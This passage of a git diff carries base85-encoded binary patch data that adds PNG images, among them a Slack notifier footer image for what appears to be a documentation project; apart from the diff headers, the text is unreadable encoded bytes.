zi0|onAv7-$Y4f{R-eqTu8V`s3di(I<0@Mk;sY1^3Aog<^lox!cSAC9-&ZTh=!9(UK
z@fDu~%aFy~;uukDe2Di+RB1pdMN<K)Tnu6Q`fNOqPk*2!cF3enyn}#E^pRV2Wk`!5
z2N&moraWpf^Zrk=fwixClmK_7poof%Wot0}HB`x)|EI{JTI+b^(^_mSrRS&((*_^n
z&eO`>hg{YpDaq-?6eMmmJYTwU$10GX5r#pN3N|)R5HP8@O#>o=8l&<v;GRB&xR|Cv
zFI|R?z{QnFmVe}1e<RrMn`E*U&raQQFRItOZcx?`6y%B#{4*)E{LJ>%s~0Zf;vb%F
zF$B?ELHKos3C%X~_V@R@mD`3TTz+LyzAU(&Ft<VukeUB(y>?-Eh`QvWA+2#UU%!6v
zMUzVi`~-CTHVL6q4g3$!bc$Bky`FaW_Zz-3H8rqUU*PJqT*z#Se4Lp9M!yNmk=}<u
zgd-=5ZJISRHFa`v;^CLGaj==TEz^n-Fvoj#hmjzlQU5hPK3`y+ejbrDEds*i|8Nnu
z`@a_9Lvk0_{|D>oZqt9fp2i4W|Ju_#h;{SE*D7E%#_~7q0+r};qAaG)FeBr@fQ<<8
zCHmxT+n^;-#eqEp8hI?CyPqnWaYfSPsP=AQ?%UsXk0OpZ-R)ejfmy`Mwzs@RAe$|;
zwtgyUzTy)Y<I2bR@s$dsR*#wMlFdK5Jh~P$@tQ}GBup|n$d2eS0hl9!#_-Tv1O`Sr
z$}OT6L3h!#46^<B&O{c->LH$y8aKu)&6%25NTHGOk=dVi#>IEugsfyZBV&JmUoh^P
zNSbA7B>bcn0+!U34*ca7M$`(Kh<x`yv4%F?k|l0YU;6!ovRStvEp9#LTTkg_d%(}n
zDH|_tK>!i?^h1S`oyUmA;*z`kWYnH^R?9eXuV^`5cI{{TpBYJ;h((_}B23dyK3v~7
zu5x)|F)iJBinDVp5O_#=_218DszmT7F@Br!yklqZ=M?8X9O8q<fw9AlLf@3>7k$wp
zuemS~W(L)zY_exFhg{TCdVM(mQh>YH7?Icc?7GdPM_)LjhZ#v4MfLVeaL=z@{c@md
z4$tJB6>pb)edU;?atbC3a$bg}@Ercr`o(|wg0^grF_K=oJjm76y0^%LLq!{-MJJBv
zmA}}wwgi#di{cJ+8#_Y7>xiU@w9YmfOqJ(i&zktxM~Zg$|Gaa@j2HI2@X@B&$Z3^q
zrIU@@u>Tq-nk;|r?%qEz;J7(LXI%(0dE@!K>-82F31j*2zyrST(&Qf$1V1u$W+G#^
zI~5<y&c>m6y!`3=7iuWMGmV9Xg?Wsgpd-G}sKH>4#e%Gx5zIHQqCJ+H{3>=6xjq6G
z<Z(7_DTUn%>kIdl_NbqjEn3H3uo~_EAB~;)Ka_hL$8X9KLXx#Ywi+BM*|KFFLJ5gM
zCrc_@mSHls$5v6c7-bjPX2wi*vh-NTOd6tNY%_&0WSq(tG3VQP{(<M0`E};LU*F|3
z*L8i~A3473tgAOF4!)Yf4;*}IZZD~dzp}P;zh>`Dr}UwKvRW(F9>5v{zfjoZPNN@Z
zf~j}x*ow52p|_x**DAoR09eaJP2qq4R7JGYhDjx0@PdBl9Ew=^5V1W%0_cC{XaR6w
zY%_`@8kcoK`@?u1zCL)V;U1_S0_6Z2q<&5-q*Z!7p#g{MO78ckx}^S!j@3m;Kvj;*
zfKeyJ#ohd*fTa&;EySB%V9m%pk5{{WMD*2`K!$vE7<o3J1P2?6UZ+1m{>Rm@3qu9r
zRnYM8u<Wk=smv(S@vsKur2oyO#VG~<b`&#&Vo}S?p!o$;>*@ev+>79GVR+o@^$oQH
z1;>>I>g)If48QNhf#GkHTV6I_KW?788yG0YmjnzcU7!Ni{{@Uoa~OlhY-Z`_l1m95
zinua^C>k+^oMIPk^ZU0+bL}=i7j^3NjXN%P7t^1V+2<mPj*!rAe+uoo^tMcVSUHk?
zCY5xt@>P1!wTf7i`<5nN1}{*VHabF3HoHJp#*N$7w3`->`$LJ!WsDre9uW&r+*!H2
zSu5KMJTGNY!NNsGa?~~E-veBii~0Zy8H7kt$P}vOO%jF510D16xhWGgDrZV2Q>3K;
zaeJA=7-U>y-n<$7bg40FpLyQ5zAjV?hd3JjZMLUj00P0f4KXu$Ab%IY94Quo$JnYW
zQ#~^uW7bbUHq#6IN(&tU$;dIPSLVJ3ErR3SGL7i>0zvUi>hrWx5XpoC=ylt|RIH3a
zxc(2OjFpuTp!R3yAc~dV))OUe`PPRz8(XI6W+`wOYZ;AAPe<+bt2yUN?h5`og^oxD
zU1{r@ygb)|pfliTNzaHMV!@^PUv<}oGXh{3t%V5BmddS1ZQ41OiG2CzkQ(#8*4WfD
z9)7&?MeASfn1!Rg+2(JfTix>{RxL1#S>x#<dC7@W;%aZ6Jr;i)b5E3xf@I%WIMDLu
z6DR?06(<ga@oewz6kL?)2<+)+1TlX4_k{q181#41nqrRiIGeEmwi67duI$JyC1eA)
z0TMYGJ3bpFhI*zT8N0Th7(C~*mex=|M5X4A>k$SHy#2Y93Rco=;52Q$=Pyj7AOtQ&
z5;<*CM=$M)m91Z(nD&JWz}eVYRm~CCB?Wx6h}Z<4Lc4tJh;aAlJzo_=m*#~xR(5GY
z5>3Ec8CZKBT%YU>=Q7+EyQp?dMMbNmb9gLD%oHqC^e)~E{Fw=MAcpW5!(jR*Spo0(
zGRn;yMd=&ksdQz7#;2d0?VluP9U95V5vX<^jJN6T{`>{Wwuwg!3}yq<YmujBws%dt
zHIr&q*TiX|a{$ta5^>4mQgk`dwO(Z(em5Ot=K5ZK^`XHs9n9|H9v%kcp*=WNb+<NE
zQ9iI;iWfVkNd+0tpKmS!bC=y^Gzhi^VHIH1?y$f*4<J#+X?T5I>t*=qZm)b>i%PXf
zBhCqG7>J)Z3=Itpf!tzM6_p@$8u>$=Oe&HUwT=leN;WsM%UkmH^V*A~EwXR4u09-+
z9w&eoXKrRep33i=1@HfMn+*??D>=%Vxl&b)k6wHSj;&|~QGX47NCBCi_+a-%zY2oo
zqNK=qi%!UDt7RmaUKbOAN@_Tu-tE?28bGRA!@Nh>w=a@%mG?3>)S<Ymw<x<J<&JsB
zO$+Pbo_g_TUt>IIjOxo+Y;~@4`((~F1Oi)8TT#(3$NREv#~k}7CWX8mEU2WUq$za_
zTGDh?D=yC3xnI!pJbTPhuW)}o-H3jiQ9V7cnk<McWQKgoO#l%b^4~z})D_U{Ie(6$
z1VjeMn4F?|-dXNxxPGhj$Y)T3K_WK@RM-q?N@<P^K3Ep5t!6IZjXDvN-~uv)r8u)d
zQ0hXASG1C?SNku=FAK}kh3NhE`g>$3u07N>Z@;TPKgkw<Qv1|c7`!?ghuue@moI!6
z$)DZS)jT9C-x)fN!`sh+=Xu$0PZ=6I%Dc}AiCs2t^05ruSj1*II2=eY1&mEr;YIJK
zU5qsL;<6K{1+qGJ@!Ub@JL_$@g*Lx!>Pbkr*-wn9IUs*Us@dB9Oc#YYDcqa;$xe>s
z0FL1WUXjQ1<d0ZG`VTKcAClM)?$`B9hn7BEE?lFlb@t_1cHCLEacEy(1QrQz5|co1
zzA=L0GP#xn{I%E3550J1K|>2y$RA256}6P<UjNeR-c1uxRTh?adsHguz2I*0eanb$
zdw7110rvEKPs{tFm1jT>10r3?YYk97{LU>fY>WN{mlX!JZXkg8A#m_v^iM*=cQgY6
z@bmMcnQ(8tUNb`zfUCP@|GMw$kKXcfjC`{=NK{55!*q@}rI4q(@b5^&_nEUvBjW0S
z4;K)i2J-Oul1wT`qs37xOAUL8;*kCzd@-aIqt6e#<AJxe{-W<+vbL@a<cIX(c8^;{
z&~pp;_u>C;(rd(t6Y-^14)v9F506?$9<+68Dl*R!scXgft7dC@r}(iVW<RT9`;k60
z2;wZTGP~sXZETR=hfp1pU*4KdDwCe#$C$0Yv_V+EnCA~utdl)T_6W?A<7&(f4voWG
z-Bx~<E7U>HR2@=!<xoDTffp)%kUyLC0Sqp6EDYH@IAE))^ieuhot+#I$ar8jznzL1
zTLP?H^p;3iSVNy@@Yj!iDn@(dFY93HMqLdJj)rj7k7*EbbRCgAmD*LD(Sj=Ns%B=C
zWe(JZdK5nL^7Ar?Xi^3ebCfyN<R6()@O|p%9R?SDZ)f9&`zJLaem>B}y!p0XV&|+H
zzP;Ve-F7vfz~(y00p)Aq2sO3zW5ir4fnQfdi!u{XS{&qr-1zpaG9;7{mgboc&wA1!
zHa_9;d)d1t7JV*hw%o`tvg^o0$v)Q;Fp#O4<c&vBoMTe_WFDn-Bg70AJalKW<-Qmx
zlYE6pRmBWp(<mvZF=u`dKa<@feYJY*FoR%#It`GZ>#HNYrCTM0N@urg-#2v<uU@(O
zWa30#vV6~-3F-F^`v~GB9ENT=%_g=~gra@gk{+v-`Y1d-9E0}OCN{qQLtTBql}9dd
z*wT*UcElam_clF>Ys2n0gcWL25?BQ@ps*wfKC84>RuMU8$o&G*jEEJ=SvM1V$!qL!
zp1qUYzh(1=R!7^k71`fgLUs9*)L$#S@#NvH2YJfNlepiCwfsgTvi0c6QMgkhs`yA%
zjTq1Su`UC_-wHQc+$pDwKC0WG(%f?9$6ZVlMk&9H>>VDNrYxtifnC#5)PJ{<JSJ?i
z6!fol-=-cj>2M^_Yn}jg&Dji-AIslZ?)#s1-}?XSUp*n<nZdVDvkwI9x1)sOoAiHo
OKCR5{%xX>kjQ<A%XBRjC

literal 0
HcmV?d00001

diff --git a/_images/notifier/slack/slack-footer.png b/_images/notifier/slack/slack-footer.png
new file mode 100644
index 0000000000000000000000000000000000000000..a53952c78f64bd3a981527c94fc9375420c226b4
GIT binary patch
literal 16064
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
